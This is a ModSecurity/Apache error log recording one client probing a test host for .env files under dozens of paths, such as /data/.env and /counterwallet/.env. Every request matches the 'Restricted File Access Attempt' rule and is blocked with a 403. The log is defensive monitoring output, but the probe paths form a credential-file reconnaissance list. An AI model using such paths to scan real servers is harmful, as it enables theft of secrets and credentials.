[Thu Feb 26 01:02:59.789678 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/persistence/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PowAAAAU&quot;]
[Thu Feb 26 01:02:59.789820 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/persistence/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PowAAAAU&quot;]
[Thu Feb 26 01:02:59.821215 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /data/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkwQAAAAM&quot;]
[Thu Feb 26 01:02:59.821231 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/src/main/resources/org/jobrunr/dashboard/frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/src/main/resources/org/jobrunr/dashboard/frontend/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PpAAAAAU&quot;]
[Thu Feb 26 01:02:59.821463 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkwQAAAAM&quot;]
[Thu Feb 26 01:02:59.821472 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/src/main/resources/org/jobrunr/dashboard/frontend/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PpAAAAAU&quot;]
[Thu Feb 26 01:02:59.821624 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/src/main/resources/org/jobrunr/dashboard/frontend/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PpAAAAAU&quot;]
[Thu Feb 26 01:02:59.821632 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkwQAAAAM&quot;]
[Thu Feb 26 01:02:59.861044 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /database/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkwgAAAAM&quot;]
[Thu Feb 26 01:02:59.861279 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkwgAAAAM&quot;]
[Thu Feb 26 01:02:59.861430 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkwgAAAAM&quot;]
[Thu Feb 26 01:02:59.861582 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /counterblockd/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/counterblockd/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PpQAAAAU&quot;]
[Thu Feb 26 01:02:59.861800 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/counterblockd/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PpQAAAAU&quot;]
[Thu Feb 26 01:02:59.861960 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/counterblockd/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PpQAAAAU&quot;]
[Thu Feb 26 01:02:59.886392 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dataset1/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dataset1/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkwwAAAAM&quot;]
[Thu Feb 26 01:02:59.886660 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dataset1/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkwwAAAAM&quot;]
[Thu Feb 26 01:02:59.886807 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dataset1/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkwwAAAAM&quot;]
[Thu Feb 26 01:02:59.902660 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /counterwallet/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/counterwallet/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PpgAAAAU&quot;]
[Thu Feb 26 01:02:59.902895 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/counterwallet/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PpgAAAAU&quot;]
[Thu Feb 26 01:02:59.903041 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/counterwallet/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PpgAAAAU&quot;]
[Thu Feb 26 01:02:59.939073 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cp/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PpwAAAAU&quot;]
[Thu Feb 26 01:02:59.939321 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cp/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PpwAAAAU&quot;]
[Thu Feb 26 01:02:59.939482 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cp/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PpwAAAAU&quot;]
[Thu Feb 26 01:02:59.973497 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cronlab/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cronlab/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PqAAAAAU&quot;]
[Thu Feb 26 01:02:59.973737 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cronlab/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PqAAAAAU&quot;]
[Thu Feb 26 01:02:59.973900 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cronlab/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PqAAAAAU&quot;]
[Thu Feb 26 01:03:00.001564 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dataset2/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dataset2/.env&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhbgAAAAE&quot;]
[Thu Feb 26 01:03:00.001814 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dataset2/.env&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhbgAAAAE&quot;]
[Thu Feb 26 01:03:00.001983 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dataset2/.env&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhbgAAAAE&quot;]
[Thu Feb 26 01:03:00.009314 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cryo_project/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cryo_project/.env&quot;] [unique_id &quot;aZ-NtCk1SHHL9bIjTI-PqQAAAAU&quot;]
[Thu Feb 26 01:03:00.009575 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cryo_project/.env&quot;] [unique_id &quot;aZ-NtCk1SHHL9bIjTI-PqQAAAAU&quot;]
[Thu Feb 26 01:03:00.009731 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cryo_project/.env&quot;] [unique_id &quot;aZ-NtCk1SHHL9bIjTI-PqQAAAAU&quot;]
[Thu Feb 26 01:03:00.041096 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /css/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/css/.env&quot;] [unique_id &quot;aZ-NtCk1SHHL9bIjTI-PqgAAAAU&quot;]
